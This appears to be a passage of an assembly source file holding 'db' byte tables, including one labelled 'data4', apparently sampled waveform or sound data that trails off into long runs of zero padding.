db 0x00,0x3B,0x40,0x14,0xEF,0xEE,0xF6,0xF7,0xFD,0x19,0x29,0x17,0x03,0x0B,0x1A,0x13,0x08,0x13,0x23,0x1F,0x0F,0x08,0x07,0xFF,0xF0,0xEA,0xEB,0xE3,0xCE,0xB8,0xB0,0xC4
db 0x0C,0x37,0x30,0x0E,0xFA,0xFC,0xFC,0xF4,0xF5,0x09,0x1E,0x1F,0x16,0x15,0x17,0x0F,0x04,0x08,0x1A,0x24,0x19,0x08,0x02,0xFD,0xEF,0xE1,0xDE,0xDF,0xD4,0xBF,0xB5,0xD0
db 0x19,0x32,0x22,0x06,0xFC,0x02,0x00,0xF5,0xF5,0x09,0x1D,0x1E,0x17,0x15,0x15,0x0F,0x06,0x09,0x17,0x20,0x17,0x08,0xFE,0xF7,0xEB,0xDD,0xD7,0xD8,0xD1,0xC4,0xC4,0xE6
db 0x0B,0x23,0x20,0x0D,0x01,0x02,0x06,0xFF,0xF8,0xFE,0x10,0x20,0x22,0x19,0x10,0x0B,0x0A,0x0B,0x0E,0x16,0x16,0x0D,0x01,0xF6,0xEC,0xE0,0xD7,0xD3,0xCF,0xCD,0xD2,0xE9
db 0x01,0x0A,0x14,0x0B,0x05,0x04,0x05,0x02,0x00,0x04,0x10,0x1B,0x1D,0x16,0x0F,0x0C,0x0C,0x0C,0x0B,0x0B,0x0C,0x09,0x01,0xF6,0xEB,0xE3,0xDD,0xD9,0xD8,0xDC,0xE6,0xF3
db 0xF6,0xFB,0x00,0x01,0x02,0x04,0x0B,0x0F,0x0F,0x0D,0x0D,0x10,0x10,0x0E,0x0D,0x0D,0x0C,0x0C,0x06,0x03,0x03,0x02,0xFC,0xF3,0xEC,0xE9,0xE8,0xE8,0xEA,0xED,0xF0,0xF3
db 0xFF,0xFF,0x01,0x01,0x02,0x03,0xFE,0xFF,0x03,0x06,0x07,0x08,0x09,0x07,0x06,0x06,0x06,0x04,0x03,0x02,0x00,0xFE,0xFD,0xFC,0xFB,0xFB,0xFA,0xFA,0xFB,0xFC,0xFE,0xFE
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
CODE
data4:
db 0xE7,0xD5,0xC9,0xBD,0xB4,0xAF,0xB2,0xBD,0xD2,0xED,0x0C,0x28,0x3E,0x4B,0x4D,0x47,0x39,0x28,0x17,0x09,0x00,0xFD,0xFD,0x01,0x08,0x0F,0x17,0x1C,0x1D,0x18,0x0D,0xFD
db 0xE4,0xC7,0xAE,0x9A,0x8D,0x87,0x8A,0x9A,0xB8,0xE2,0x12,0x40,0x62,0x74,0x72,0x5F,0x41,0x20,0x06,0xF6,0xEF,0xEF,0xF7,0x02,0x0F,0x1E,0x2B,0x34,0x36,0x2E,0x1B,0x01
db 0xF7,0xCF,0xAA,0x91,0x84,0x84,0x8C,0x8D,0xA0,0xC1,0xEB,0x1D,0x4A,0x6A,0x73,0x64,0x43,0x1B,0xF9,0xE6,0xE4,0xEF,0x00,0x12,0x23,0x32,0x40,0x49,0x4D,0x49,0x39,0x1E
db 0x21,0xFD,0xD7,0xB7,0xA2,0x99,0x98,0x9C,0xA9,0xC1,0xE8,0x16,0x43,0x61,0x67,0x54,0x2E,0x05,0xE7,0xDB,0xE1,0xF0,0xFE,0x06,0x07,0x08,0x10,0x21,0x35,0x46,0x46,0x3A
db 0x0D,0xF8,0xEB,0xE1,0xD5,0xC3,0xAF,0x9B,0x94,0xA3,0xCB,0x04,0x3C,0x61,0x64,0x49,0x1E,0xF8,0xDD,0xE0,0xF1,0x00,0x03,0xFC,0xF5,0xFB,0x10,0x2D,0x47,0x50,0x44,0x29
db 0x0C,0x0D,0x07,0xF5,0xDF,0xC5,0xAE,0xA4,0xA0,0xAE,0xCF,0xFC,0x2E,0x4D,0x54,0x3F,0x1B,0xFB,0xE7,0xE6,0xEC,0xF2,0xF4,0xF8,0x06,0x1B,0x32,0x3F,0x3C,0x2D,0x19,0x0F
db 0x16,0x13,0x08,0xF6,0xE7,0xDD,0xCD,0xB9,0x9D,0x8E,0xAF,0xF4,0x42,0x6C,0x5E,0x38,0x02,0xE4,0xE2,0xF0,0xF7,0xEF,0xE8,0xF1,0x12,0x37,0x4B,0x42,0x24,0x0C,0x03,0x0C
db 0x09,0x08,0x11,0x1F,0x1A,0xFB,0xD4,0xB2,0x9F,0x93,0x8F,0xBF,0x14,0x65,0x7E,0x4E,0x0A,0xDC,0xD8,0xE4,0xE1,0xDC,0xE1,0xFD,0x27,0x43,0x3E,0x23,0x10,0x0B,0x12,0x12
db 0x08,0x16,0x2D,0x2D,0x16,0xF4,0xDA,0xCD,0xBB,0xA5,0x91,0x9A,0xE1,0x3E,0x6E,0x56,0x14,0xE9,0xE1,0xE8,0xE5,0xDD,0xEE,0x24,0x4D,0x40,0x15,0xFB,0x02,0x18,0x19,0x0C
db 0x0C,0x17,0x23,0x1D,0x11,0x05,0xF9,0xE7,0xCB,0xB3,0xA9,0xA7,0xB5,0xEB,0x25,0x2F,0x0B,0xE4,0xE6,0x06,0x21,0x15,0x1A,0x24,0x26,0x0D,0xEF,0xF0,0x10,0x2C,0x27,0x13
db 0x10,0x10,0x17,0x22,0x23,0x13,0xFB,0xE8,0xD5,0xBB,0xA6,0xA1,0xA7,0xDE,0x2B,0x34,0x07,0xDE,0xEB,0x0C,0x1C,0x22,0x2A,0x32,0x1D,0xF7,0xE2,0xF5,0x16,0x23,0x21,0x18
db 0x0E,0x11,0x1A,0x1F,0x22,0x19,0x02,0xEB,0xD9,0xBE,0xA9,0xA7,0xAB,0xD2,0x1B,0x29,0x07,0xF1,0xFA,0x05,0x08,0x23,0x38,0x2C,0x0E,0xFA,0xF3,0xF3,0x09,0x1F,0x25,0x1B
db 0x10,0x12,0x19,0x21,0x22,0x18,0x03,0xEF,0xDF,0xC4,0xB0,0xAF,0xAA,0xBC,0x06,0x1F,0x05,0x09,0x04,0xF6,0x07,0x28,0x2B,0x23,0x1E,0x01,0xEE,0xF7,0x0B,0x16,0x20,0x1D
db 0x18,0x1D,0x21,0x24,0x1C,0x0C,0xFE,0xEC,0xD9,0xC7,0xB7,0xAF,0xA9,0xC4,0xF8,0x02,0x16,0x18,0x03,0x10,0x18,0x1E,0x27,0x25,0x0B,0xFB,0xF7,0xFB,0x0B,0x16,0x1B,0x18
db 0x17,0x1C,0x22,0x1F,0x19,0x0E,0x01,0xF5,0xE4,0xD1,0xC0,0xB6,0xAD,0xBD,0xDA,0xEB,0x07,0x0E,0x17,0x22,0x21,0x26,0x23,0x1B,0x10,0x06,0x03,0x01,0x04,0x09,0x0A,0x12
db 0x1A,0x1F,0x1F,0x1C,0x14,0x09,0xFB,0xEA,0xD7,0xC4,0xB3,0xAB,0xB0,0xBE,0xD5,0xEF,0x0A,0x22,0x33,0x3D,0x3C,0x33,0x25,0x16,0x09,0x00,0xFB,0xFD,0xFF,0x03,0x0A,0x12
db 0x1D,0x20,0x1F,0x19,0x10,0x04,0xF5,0xE4,0xD2,0xC1,0xB3,0xAF,0xB4,0xC4,0xDC,0xF5,0x10,0x26,0x35,0x3C,0x39,0x2E,0x1F,0x10,0x05,0xFD,0xF9,0xFA,0xFE,0x04,0x0D,0x15
db 0x17,0x1F,0x23,0x24,0x1B,0x10,0x00,0xF0,0xDD,0xCB,0xBB,0xB1,0xB2,0xC5,0xDE,0xF8,0x0B,0x18,0x21,0x23,0x25,0x22,0x1D,0x12,0x0A,0x00,0xFD,0xFC,0x00,0x07,0x06,0x0F
db 0x21,0x22,0x21,0x1D,0x14,0x07,0xF8,0xEE,0xE0,0xD2,0xC5,0xBC,0xBC,0xC9,0xEF,0x0C,0x21,0x1B,0x17,0x0D,0x0D,0x0D,0x12,0x0E,0x06,0xFC,0xF8,0xFA,0x03,0x0F,0x18,0x1E
db 0x1E,0x1D,0x1C,0x1A,0x14,0x09,0xFC,0xF0,0xE4,0xD7,0xC9,0xC1,0xC0,0xCB,0xED,0x0A,0x1D,0x18,0x0E,0x06,0x06,0x0B,0x11,0x0E,0x05,0xFB,0xF7,0xFC,0x08,0x13,0x1B,0x1E
db 0x1C,0x1D,0x1C,0x18,0x0E,0x01,0xF5,0xED,0xE2,0xD7,0xCA,0xC3,0xC1,0xD5,0xF7,0x11,0x1B,0x13,0x0B,0x06,0x09,0x0E,0x0F,0x09,0xFF,0xF9,0xF9,0x01,0x0D,0x16,0x1A,0x1B
db 0x1C,0x1B,0x18,0x10,0x05,0xFA,0xF2,0xE9,0xE1,0xD7,0xCE,0xCC,0xD0,0xE7,0x00,0x12,0x14,0x10,0x0A,0x09,0x0A,0x0B,0x0A,0x04,0xFE,0xFC,0x00,0x07,0x10,0x15,0x18,0x1A
db 0x1D,0x19,0x11,0x07,0xFD,0xF5,0xEE,0xE6,0xDD,0xD5,0xD2,0xD2,0xDC,0xF0,0x04,0x0F,0x10,0x0F,0x0D,0x0C,0x0B,0x08,0x04,0x00,0x00,0x03,0x07,0x0B,0x0F,0x13,0x18,0x1C
db 0x19,0x12,0x0A,0x01,0xF9,0xF1,0xE9,0xE2,0xDB,0xD7,0xD7,0xD9,0xE3,0xF2,0x01,0x0B,0x10,0x11,0x10,0x0E,0x0C,0x08,0x03,0x01,0x02,0x05,0x09,0x0C,0x10,0x14,0x19,0x1B
db 0x15,0x11,0x0C,0x05,0xFD,0xF5,0xEC,0xE3,0xDC,0xD8,0xD7,0xD9,0xE0,0xEC,0xFA,0x07,0x10,0x15,0x17,0x14,0x12,0x0F,0x0A,0x07,0x06,0x07,0x08,0x09,0x0B,0x0F,0x13,0x15
db 0x11,0x0D,0x08,0x01,0xF9,0xF0,0xE7,0xE0,0xDC,0xDA,0xDB,0xDF,0xE6,0xF2,0xFD,0x08,0x0F,0x14,0x16,0x16,0x13,0x0E,0x0B,0x09,0x08,0x09,0x09,0x0A,0x0C,0x0F,0x12,0x13
db 0x03,0x00,0xFD,0xF9,0xF5,0xF1,0xEC,0xE7,0xE4,0xE3,0xE4,0xE6,0xE9,0xEF,0xF7,0xFF,0x05,0x0B,0x10,0x13,0x15,0x14,0x12,0x11,0x0F,0x0E,0x0C,0x0A,0x09,0x08,0x07,0x05
db 0x01,0xFF,0xFD,0xFB,0xF8,0xF5,0xF3,0xF1,0xF0,0xF0,0xF2,0xF4,0xF7,0xFA,0xFE,0x01,0x03,0x05,0x08,0x0C,0x0F,0x10,0x10,0x10,0x0E,0x0C,0x0A,0x08,0x07,0x05,0x03,0x02
db 0xFF,0xFD,0xFC,0xFB,0xFA,0xFA,0xFA,0xFA,0xFB,0xFB,0xFC,0xFD,0xFE,0xFE,0xFE,0xFF,0x00,0x01,0x01,0x03,0x05,0x06,0x06,0x06,0x09,0x08,0x08,0x06,0x05,0x03,0x02,0x00
db 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE,0xFF,0xFE,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x01,0x03,0x02,0x02,0x01,0x01,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
